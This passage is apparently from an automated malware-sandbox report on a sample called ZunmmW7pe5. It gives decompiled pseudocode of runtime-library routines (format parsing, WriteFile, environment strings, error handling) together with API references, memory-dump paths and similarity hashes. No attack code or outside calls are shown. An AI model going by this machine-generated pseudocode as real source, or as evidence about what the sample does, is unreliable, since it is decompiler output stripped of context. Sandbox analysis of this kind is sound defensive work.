				_t105 =  *( *((intOrPtr*)(_t141 + 0x20)) - 8);
				 *(_t141 + 0x34) = _t105;
				if (_t105 >= 0) goto 0xe373d0a6;
				 *(_t141 + 0x30) =  *(_t141 + 0x30) | 0x00000004;
				 *(_t141 + 0x34) =  ~_t105;
				goto 0xe373d100;
				_t87 =  *((intOrPtr*)(_t141 + 0x41));
				if (_t87 == 0x20) goto 0xe373d0d9;
				if (_t87 == 0x23) goto 0xe373d0d3;
				if (_t87 == 0x2b) goto 0xe373d0cd;
				if (_t87 == 0x2d) goto 0xe373d0c7;
				if (_t87 != 0x30) goto 0xe373d104;
				 *(_t141 + 0x30) =  *(_t141 + 0x30) | 0x00000008;
				goto 0xe373d104;
				 *(_t141 + 0x30) =  *(_t141 + 0x30) | 0x00000004;
				goto 0xe373d104;
				 *(_t141 + 0x30) =  *(_t141 + 0x30) | 0x00000001;
				goto 0xe373d104;
				 *(_t141 + 0x30) =  *(_t141 + 0x30) | 0x00000020;
				goto 0xe373d104;
				 *(_t141 + 0x30) =  *(_t141 + 0x30) | 0x00000002;
				goto 0xe373d104;
				 *(_t141 + 0x34) =  *(_t141 + 0x34) & 0x00000000;
				 *(_t141 + 0x30) =  *(_t141 + 0x30) & 0x00000000;
				 *(_t141 + 0x3c) =  *(_t141 + 0x3c) & 0x00000000;
				 *((char*)(_t141 + 0x40)) = 0;
				 *(_t141 + 0x38) = _t111;
				 *((char*)(_t141 + 0x54)) = 0;
				goto 0xe373d104;
				if (E00007FF77FF7E373D374(_t141) == 0) goto 0xe373d15b;
				_t107 =  *((intOrPtr*)( *((intOrPtr*)(_t141 + 0x18))));
				 *((char*)(_t141 + 0x41)) = _t107;
				if (_t107 != 0) goto 0xe373cfb2;
				 *((long long*)(_t141 + 0x18)) =  *((long long*)(_t141 + 0x18)) + 1;
				if ( *((intOrPtr*)(_t141 + 0x2c)) == 0) goto 0xe373d125;
				if ( *((intOrPtr*)(_t141 + 0x2c)) != 7) goto 0xe373d14b;
				 *((intOrPtr*)(_t141 + 0x470)) =  *((intOrPtr*)(_t141 + 0x470)) + 1;
				if ( *((intOrPtr*)(_t141 + 0x470)) != 2) goto 0xe373cfa5;
				return  *((intOrPtr*)(_t141 + 0x28));
			}

0x7ff7e373cf40
0x7ff7e373cf40
0x7ff7e373cf45
0x7ff7e373cf4f
0x7ff7e373cf52
0x7ff7e373cf5c
0x7ff7e373cf5e
0x7ff7e373cf63
0x7ff7e373cf69
0x7ff7e373cf6e
0x7ff7e373cf77
0x7ff7e373cf7c
0x7ff7e373cf86
0x7ff7e373cf88
0x7ff7e373cf95
0x7ff7e373cf9b
0x7ff7e373cfa5
0x7ff7e373cfa9
0x7ff7e373cfad
0x7ff7e373cfb2
0x7ff7e373cfba
0x7ff7e373cfca
0x7ff7e373cfcc
0x7ff7e373cfd9
0x7ff7e373cfe8
0x7ff7e373cfeb
0x7ff7e373cff1
0x7ff7e373cff7
0x7ff7e373cff9
0x7ff7e373d002
0x7ff7e373d00b
0x7ff7e373d014
0x7ff7e373d019
0x7ff7e373d01e
0x7ff7e373d023
0x7ff7e373d028
0x7ff7e373d031
0x7ff7e373d036
0x7ff7e373d03e
0x7ff7e373d043
0x7ff7e373d04c
0x7ff7e373d055
0x7ff7e373d05a
0x7ff7e373d05f
0x7ff7e373d068
0x7ff7e373d06d
0x7ff7e373d070
0x7ff7e373d073
0x7ff7e373d075
0x7ff7e373d079
0x7ff7e373d082
0x7ff7e373d088
0x7ff7e373d08a
0x7ff7e373d093
0x7ff7e373d096
0x7ff7e373d09b
0x7ff7e373d09d
0x7ff7e373d0a3
0x7ff7e373d0a8
0x7ff7e373d0aa
0x7ff7e373d0af
0x7ff7e373d0b3
0x7ff7e373d0b7
0x7ff7e373d0bb
0x7ff7e373d0bf
0x7ff7e373d0c1
0x7ff7e373d0c5
0x7ff7e373d0c7
0x7ff7e373d0cb
0x7ff7e373d0cd
0x7ff7e373d0d1
0x7ff7e373d0d3
0x7ff7e373d0d7
0x7ff7e373d0d9
0x7ff7e373d0dd
0x7ff7e373d0df
0x7ff7e373d0e3
0x7ff7e373d0e7
0x7ff7e373d0eb
0x7ff7e373d0ef
0x7ff7e373d0f2
0x7ff7e373d0f6
0x7ff7e373d102
0x7ff7e373d108
0x7ff7e373d10a
0x7ff7e373d10f
0x7ff7e373d115
0x7ff7e373d11d
0x7ff7e373d123
0x7ff7e373d125
0x7ff7e373d132
0x7ff7e373d14a

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E373CF69
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E373D156

Strings

*, xrefs: 00007FF7E373D07E
, xrefs: 00007FF7E373D0D3

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: 528c8c9efd115e6c2f17376388897e16e5448a2040c8b4a341260c27c622ba94
Instruction ID: e3d8f2ddec5dca8efa7faaac3cb80ee76f87867e83dfafda6016e80744b13f91
Opcode Fuzzy Hash: 528c8c9efd115e6c2f17376388897e16e5448a2040c8b4a341260c27c622ba94
Instruction Fuzzy Hash: 3161677290C64686E7E9BE3484D437EBFE1EB09B08F95113BC64A21199CF3CD465D623

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E373D160 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00007FF77FF7E373D160(signed int __edi, intOrPtr* __rax, long long __rbx, void* __rcx, void* __rdx, signed int __rsi, long long __rbp, long long _a8, long long _a16, long long _a24) {
				void* _t70;
				intOrPtr _t81;
				unsigned int _t89;
				signed int _t96;
				signed int _t98;
				char _t100;
				signed int _t103;
				unsigned int _t111;
				void* _t133;
				signed int _t143;

				_t143 = __rsi;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t133 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x468)) != __rsi) goto 0xe373d19a;
				_t70 = E00007FF77FF7E3740720(__rax);
				 *__rax = 0x16;
				E00007FF77FF7E3740600(_t70);
				goto 0xe373d349;
				if ( *((intOrPtr*)(__rcx + 0x18)) == __rsi) goto 0xe373d182;
				 *((intOrPtr*)(__rcx + 0x470)) =  *((intOrPtr*)(__rcx + 0x470)) + 1;
				if ( *((intOrPtr*)(__rcx + 0x470)) == 2) goto 0xe373d346;
				_t103 = __edi | 0xffffffff;
				 *((intOrPtr*)(__rcx + 0x50)) = 0;
				 *(__rcx + 0x2c) = 0;
				goto 0xe373d313;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 1;
				if ( *((intOrPtr*)(__rcx + 0x28)) < 0) goto 0xe373d328;
				if ( *((intOrPtr*)(__rcx + 0x41)) - 0x20 - 0x5a > 0) goto 0xe373d1f0;
				_t128 =  *((char*)(__rcx + 0x41));
				goto 0xe373d1f2;
				_t89 = ( *(__rcx + 0xe374cfe0) & 0x000000ff) >> 4;
				 *(__rcx + 0x2c) = _t89;
				if (_t89 == 8) goto 0xe373d35e;
				_t111 = _t89;
				if (_t111 == 0) goto 0xe373d307;
				if (_t111 == 0) goto 0xe373d2f3;
				if (_t111 == 0) goto 0xe373d2be;
				if (_t111 == 0) goto 0xe373d292;
				if (_t111 == 0) goto 0xe373d28a;
				if (_t111 == 0) goto 0xe373d25d;
				if (_t111 == 0) goto 0xe373d250;
				if (_t89 - 0xfffffffffffffffc != 1) goto 0xe373d36e;
				E00007FF77FF7E373DAF8( *((char*)(__rcx + 0x41)), __rcx, __rcx, __rsi, 0xe374cfe0);
				goto 0xe373d30f;
				E00007FF77FF7E373D700(_t128, _t133);
				goto 0xe373d30f;
				if ( *((char*)(_t133 + 0x41)) == 0x2a) goto 0xe373d274;
				E00007FF77FF7E373CEBC(_t133, _t133, _t133 + 0x38);
				goto 0xe373d30f;
				 *((long long*)(_t133 + 0x20)) =  *((long long*)(_t133 + 0x20)) + 8;
				_t96 =  *( *((intOrPtr*)(_t133 + 0x20)) - 8);
				_t97 =  <  ? _t103 : _t96;
				 *(_t133 + 0x38) =  <  ? _t103 : _t96;
				goto 0xe373d2ba;
				 *(_t133 + 0x38) = 0;
				goto 0xe373d313;
				if ( *((char*)(_t133 + 0x41)) == 0x2a) goto 0xe373d29e;
				goto 0xe373d267;
				 *((long long*)(_t133 + 0x20)) =  *((long long*)(_t133 + 0x20)) + 8;
				_t98 =  *( *((intOrPtr*)(_t133 + 0x20)) - 8);
				 *(_t133 + 0x34) = _t98;
				if (_t98 >= 0) goto 0xe373d2ba;
				 *(_t133 + 0x30) =  *(_t133 + 0x30) | 0x00000004;
				 *(_t133 + 0x34) =  ~_t98;
				goto 0xe373d30f;
				_t81 =  *((intOrPtr*)(_t133 + 0x41));
				if (_t81 == 0x20) goto 0xe373d2ed;
				if (_t81 == 0x23) goto 0xe373d2e7;
				if (_t81 == 0x2b) goto 0xe373d2e1;
				if (_t81 == 0x2d) goto 0xe373d2db;
				if (_t81 != 0x30) goto 0xe373d313;
				 *(_t133 + 0x30) =  *(_t133 + 0x30) | 0x00000008;
				goto 0xe373d313;
				 *(_t133 + 0x30) =  *(_t133 + 0x30) | 0x00000004;
				goto 0xe373d313;
				 *(_t133 + 0x30) =  *(_t133 + 0x30) | 0x00000001;
				goto 0xe373d313;
				 *(_t133 + 0x30) =  *(_t133 + 0x30) | 0x00000020;
				goto 0xe373d313;
				 *(_t133 + 0x30) =  *(_t133 + 0x30) | 0x00000002;
				goto 0xe373d313;
				 *(_t133 + 0x30) = _t143;
				 *((intOrPtr*)(_t133 + 0x40)) = sil;
				 *(_t133 + 0x38) = _t103;
				 *((intOrPtr*)(_t133 + 0x3c)) = 0;
				 *((intOrPtr*)(_t133 + 0x54)) = sil;
				goto 0xe373d313;
				if (E00007FF77FF7E373D3E4(_t133) == 0) goto 0xe373d36e;
				_t100 =  *((intOrPtr*)( *((intOrPtr*)(_t133 + 0x18))));
				 *((char*)(_t133 + 0x41)) = _t100;
				if (_t100 != 0) goto 0xe373d1c8;
				 *((long long*)(_t133 + 0x18)) =  *((long long*)(_t133 + 0x18)) + 1;
				if ( *((intOrPtr*)(_t133 + 0x2c)) == 0) goto 0xe373d333;
				if ( *((intOrPtr*)(_t133 + 0x2c)) != 7) goto 0xe373d35e;
				 *((intOrPtr*)(_t133 + 0x470)) =  *((intOrPtr*)(_t133 + 0x470)) + 1;
				if ( *((intOrPtr*)(_t133 + 0x470)) != 2) goto 0xe373d1bd;
				return  *((intOrPtr*)(_t133 + 0x28));
			}

0x7ff7e373d160
0x7ff7e373d160
0x7ff7e373d165
0x7ff7e373d16a
0x7ff7e373d176
0x7ff7e373d180
0x7ff7e373d182
0x7ff7e373d187
0x7ff7e373d18d
0x7ff7e373d195
0x7ff7e373d19e
0x7ff7e373d1a0
0x7ff7e373d1ad
0x7ff7e373d1b3
0x7ff7e373d1bd
0x7ff7e373d1c0
0x7ff7e373d1c3
0x7ff7e373d1c8
0x7ff7e373d1cf
0x7ff7e373d1df
0x7ff7e373d1e1
0x7ff7e373d1ee
0x7ff7e373d1fd
0x7ff7e373d200
0x7ff7e373d206
0x7ff7e373d20c
0x7ff7e373d20e
0x7ff7e373d217
0x7ff7e373d220
0x7ff7e373d229
0x7ff7e373d22e
0x7ff7e373d233
0x7ff7e373d238
0x7ff7e373d23d
0x7ff7e373d246
0x7ff7e373d24b
0x7ff7e373d253
0x7ff7e373d258
0x7ff7e373d261
0x7ff7e373d26a
0x7ff7e373d26f
0x7ff7e373d274
0x7ff7e373d27d
0x7ff7e373d282
0x7ff7e373d285
0x7ff7e373d288
0x7ff7e373d28a
0x7ff7e373d28d
0x7ff7e373d296
0x7ff7e373d29c
0x7ff7e373d29e
0x7ff7e373d2a7
0x7ff7e373d2aa
0x7ff7e373d2af
0x7ff7e373d2b1
0x7ff7e373d2b7
0x7ff7e373d2bc
0x7ff7e373d2be
0x7ff7e373d2c3
0x7ff7e373d2c7
0x7ff7e373d2cb
0x7ff7e373d2cf
0x7ff7e373d2d3
0x7ff7e373d2d5
0x7ff7e373d2d9
0x7ff7e373d2db
0x7ff7e373d2df
0x7ff7e373d2e1
0x7ff7e373d2e5
0x7ff7e373d2e7
0x7ff7e373d2eb
0x7ff7e373d2ed
0x7ff7e373d2f1
0x7ff7e373d2f3
0x7ff7e373d2f7
0x7ff7e373d2fb
0x7ff7e373d2fe
0x7ff7e373d301
0x7ff7e373d305
0x7ff7e373d311
0x7ff7e373d317
0x7ff7e373d319
0x7ff7e373d31e
0x7ff7e373d324
0x7ff7e373d32b
0x7ff7e373d331
0x7ff7e373d333
0x7ff7e373d340
0x7ff7e373d35d

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E373D18D
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E373D369

Strings

*, xrefs: 00007FF7E373D292
, xrefs: 00007FF7E373D2E7

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: efe1b6bf4ce4efe3d8a25ed9a76bea35e0374658c926873cd254d2397f63e0f5
Instruction ID: 0f828e775cacf84231cee9eb69a067a63817aef75750f3637d806705d7d9515b
Opcode Fuzzy Hash: efe1b6bf4ce4efe3d8a25ed9a76bea35e0374658c926873cd254d2397f63e0f5
Instruction Fuzzy Hash: AA61357290D252C6E7E56E2488D427EBFE1EB4DB04F94113BD64A22299CF3CD861C763

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3745EA0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00007FF77FF7E3745EA0(signed int __edx, void* __edi, void* __rax, signed long long __rbx, signed int* __rcx, long long __rbp, signed short* __r8, signed long long _a8, signed long long _a16, long long _a24, char _a40, char _a1744, char _a1752, signed long long _a5176, void* _a5192) {
				intOrPtr _v0;
				signed long long _v8;
				int _t33;
				long _t37;
				void* _t38;
				signed int _t39;
				int _t48;
				signed long long _t60;
				short* _t65;
				signed int* _t66;
				void* _t82;
				void* _t89;
				void* _t95;
				void* _t98;
				void* _t101;
				void* _t102;

				_a8 = __rbx;
				_a24 = __rbp;
				E00007FF77FF7E374ADF0(_t38, __rax, __rcx, _t82, __r8, _t95, _t98);
				_t60 =  *0xe3764018; // 0xf7df8d81ad38
				_a5176 = _t60 ^ _t89 - __rax;
				r14d = r9d;
				r10d = r10d & 0x0000003f;
				_t102 = _t101 + __r8;
				 *__rcx =  *__rcx & 0x00000000;
				__rcx[1] =  *((intOrPtr*)(0xe37651c0 + (__edx >> 6) * 8));
				if (__r8 - _t102 >= 0) goto 0xe3745fe3;
				_t65 =  &_a40;
				if (__r8 - _t102 >= 0) goto 0xe3745f4b;
				_t39 =  *__r8 & 0x0000ffff;
				if (_t39 != 0xa) goto 0xe3745f37;
				 *_t65 = 0xd;
				_t66 = _t65 + 2;
				 *_t66 = _t39;
				if ( &(_t66[0]) -  &_a1744 < 0) goto 0xe3745f19;
				_a16 = _a16 & 0x00000000;
				_a8 = _a8 & 0x00000000;
				_v0 = 0xd55;
				_v8 =  &_a1752;
				r9d = 0;
				_t33 = WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
				_t48 = _t33;
				if (_t33 == 0) goto 0xe3745fdb;
				if (_t33 == 0) goto 0xe3745fcb;
				_v8 = _v8 & 0x00000000;
				r8d = _t48;
				r8d = r8d;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0xe3745fdb;
				if (0 + _a24 - _t48 < 0) goto 0xe3745f98;
				__rcx[1] = __edi - r15d;
				goto 0xe3745f0e;
				_t37 = GetLastError();
				 *__rcx = _t37;
				E00007FF77FF7E374AB20();
				return _t37;
			}

0x7ff7e3745ea0
0x7ff7e3745ea5
0x7ff7e3745eb7
0x7ff7e3745ebf
0x7ff7e3745ec9
0x7ff7e3745eda
0x7ff7e3745ee8
0x7ff7e3745eec
0x7ff7e3745f04
0x7ff7e3745f07
0x7ff7e3745f0e
0x7ff7e3745f14
0x7ff7e3745f1c
0x7ff7e3745f1e
0x7ff7e3745f29
0x7ff7e3745f30
0x7ff7e3745f33
0x7ff7e3745f37
0x7ff7e3745f49
0x7ff7e3745f4b
0x7ff7e3745f56
0x7ff7e3745f64
0x7ff7e3745f77
0x7ff7e3745f7c
0x7ff7e3745f86
0x7ff7e3745f8c
0x7ff7e3745f90
0x7ff7e3745f96
0x7ff7e3745f98
0x7ff7e3745fad
0x7ff7e3745fb6
0x7ff7e3745fc1
0x7ff7e3745fc9
0x7ff7e3745fd0
0x7ff7e3745fd6
0x7ff7e3745fdb
0x7ff7e3745fe1
0x7ff7e3745ff1
0x7ff7e3746011

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF7E3745F86
WriteFile.KERNEL32 ref: 00007FF7E3745FB9
GetLastError.KERNEL32 ref: 00007FF7E3745FDB

Strings

U, xrefs: 00007FF7E3745F64

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: ed65795212e9e57c143a45af4e5d1aa74df3610e926bf17e9ceb5935b3303989
Instruction ID: 05c05839835fd0c07c247e3e6ed57e897de200af66fd0623d123e6ff399f07d7
Opcode Fuzzy Hash: ed65795212e9e57c143a45af4e5d1aa74df3610e926bf17e9ceb5935b3303989
Instruction Fuzzy Hash: AA419332629B81C2F7A09F55E4843A9BB61F788794F804032EE4D97798DF3CE551CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37416E4 Relevance: 6.1, APIs: 4, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00007FF77FF7E37416E4(signed int __edx, void* __edi, void* __esp, intOrPtr* __rax, long long __rbx, signed int* __rcx, void* __rdx, long long __rsi, void* __r8, long long _a8, long long _a24, signed short _a32, intOrPtr _a40) {
				void* _v8;
				char _v16;
				intOrPtr* _v32;
				char _v40;
				void* __rdi;
				void* _t17;
				intOrPtr* _t43;
				void* _t55;

				_a8 = __rbx;
				_a24 = __rsi;
				_a32 = r9w;
				_t55 = __rdx;
				if (__rdx != 0) goto 0xe374171a;
				if (__r8 == 0) goto 0xe374171a;
				if (__rcx == 0) goto 0xe3741713;
				 *__rcx =  *__rcx & __edx;
				goto 0xe37417a9;
				if (__rcx == 0) goto 0xe3741722;
				 *__rcx =  *__rcx | 0xffffffff;
				if (__r8 - 0x7fffffff <= 0) goto 0xe374173e;
				_t17 = E00007FF77FF7E3740720(__rax);
				 *__rax = 0x16;
				E00007FF77FF7E3740600(_t17);
				goto 0xe37417a7;
				E00007FF77FF7E373CCCC(__rax, __rcx,  &_v40, _a40);
				_t43 = _v32;
				if ( *((long long*)(_t43 + 0x138)) != 0) goto 0xe37417d8;
				if ((_a32 & 0x0000ffff) - 0xff <= 0) goto 0xe37417bb;
				if (_t55 == 0) goto 0xe3741788;
				if (__r8 == 0) goto 0xe3741788;
				E00007FF77FF7E373B860(0xff, 0, __edi, __esp, _t55, _a40, __r8, __r8);
				E00007FF77FF7E3740720(_t43);
				 *_t43 = 0x2a;
				if (_v16 == 0) goto 0xe37417a7;
				 *(_v40 + 0x3a8) =  *(_v40 + 0x3a8) & 0xfffffffd;
				return 0x2a;
			}

0x7ff7e37416e4
0x7ff7e37416e9
0x7ff7e37416ee
0x7ff7e37416fc
0x7ff7e3741705
0x7ff7e374170a
0x7ff7e374170f
0x7ff7e3741711
0x7ff7e3741715
0x7ff7e374171d
0x7ff7e374171f
0x7ff7e3741729
0x7ff7e374172b
0x7ff7e3741735
0x7ff7e3741737
0x7ff7e374173c
0x7ff7e374174b
0x7ff7e3741750
0x7ff7e374175d
0x7ff7e374176f
0x7ff7e3741774
0x7ff7e3741779
0x7ff7e3741783
0x7ff7e3741788
0x7ff7e3741792
0x7ff7e3741799
0x7ff7e37417a0
0x7ff7e37417ba

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E3741737
WideCharToMultiByte.KERNEL32 ref: 00007FF7E3741809
GetLastError.KERNEL32 ref: 00007FF7E374182C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E374185E

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: efec28904b6fec4c2b3e5fbf37e021602fbdaa02facf0f88f1d77ad2fe5a8001
Instruction ID: 35ff440c657adb0f3dec0d3ce54dc67669b2a23b19e872484ab0dc8e07b02922
Opcode Fuzzy Hash: efec28904b6fec4c2b3e5fbf37e021602fbdaa02facf0f88f1d77ad2fe5a8001
Instruction Fuzzy Hash: AF419931D0864286F7A2BB11D1C0379FA91EF49790F94413ADA5D27AD5CF3CF8518722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3743FE0 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF7E373EFE3,?,?,?,00007FF7E373EF9E,?,?,00000000,00007FF7E373F2CD), ref: 00007FF7E3743FF9
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF7E373EFE3,?,?,?,00007FF7E373EF9E,?,?,00000000,00007FF7E373F2CD), ref: 00007FF7E374405B
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF7E373EFE3,?,?,?,00007FF7E373EF9E,?,?,00000000,00007FF7E373F2CD), ref: 00007FF7E3744095
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF7E373EFE3,?,?,?,00007FF7E373EF9E,?,?,00000000,00007FF7E373F2CD), ref: 00007FF7E37440BF

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 2b9aefde93fd8a9c69658318eeb2946d3b351e1ac16f2e3fdd13a114f8dc8157
Instruction ID: 2f874e1d11a44004189e76c2137d62ff9ae7e2ebc3da7fef704e8f798fb87dd1
Opcode Fuzzy Hash: 2b9aefde93fd8a9c69658318eeb2946d3b351e1ac16f2e3fdd13a114f8dc8157
Instruction Fuzzy Hash: F4218631B1879581F660AF116480229FAA5EB5CBD0B884176DE4E33BA4DF3DE4B1D711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3741F40 Relevance: 6.0, APIs: 4, Instructions: 43
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF7E3741F40(void* __rax, long long __rbx, void* __rcx, void* __rdx, void* __rsi, void* __r9, long long _a8) {
				void* _t4;
				void* _t9;
				intOrPtr _t11;
				intOrPtr _t14;
				void* _t23;
				void* _t29;
				void* _t32;

				_t29 = __rdx;
				_t27 = __rcx;
				_t25 = __rbx;
				_t23 = __rax;
				_a8 = __rbx;
				GetLastError();
				_t11 =  *0xe37641a0; // 0x6
				if (_t11 == 0xffffffff) goto 0xe3741f6a;
				_t4 = E00007FF77FF7E3740A80(_t11, _t11 - 0xffffffff, __rax, __rbx, __rcx);
				if (__rax != 0) goto 0xe3741fab;
				E00007FF77FF7E374003C(_t4, _t27, _t29);
				_t32 = _t23;
				if (_t23 != 0) goto 0xe3741f8a;
				E00007FF77FF7E373FEE4(_t23, _t27);
				goto 0xe3741fc6;
				_t14 =  *0xe37641a0; // 0x6
				if (E00007FF77FF7E3740AD8(_t14, _t23, _t23, _t25, _t27, _t23, __rsi) == 0) goto 0xe3741f83;
				E00007FF77FF7E3741CF0(_t32, _t23);
				_t9 = E00007FF77FF7E373FEE4(_t23, _t32);
				if (_t32 == 0) goto 0xe3741fc6;
				SetLastError(??);
				return _t9;
			}

0x7ff7e3741f40
0x7ff7e3741f40
0x7ff7e3741f40
0x7ff7e3741f40
0x7ff7e3741f40
0x7ff7e3741f4a
0x7ff7e3741f50
0x7ff7e3741f5b
0x7ff7e3741f5d
0x7ff7e3741f68
0x7ff7e3741f74
0x7ff7e3741f79
0x7ff7e3741f7f
0x7ff7e3741f83
0x7ff7e3741f88
0x7ff7e3741f8a
0x7ff7e3741f9d
0x7ff7e3741f9f
0x7ff7e3741fa6
0x7ff7e3741fae
0x7ff7e3741fb2
0x7ff7e3741fc5

APIs

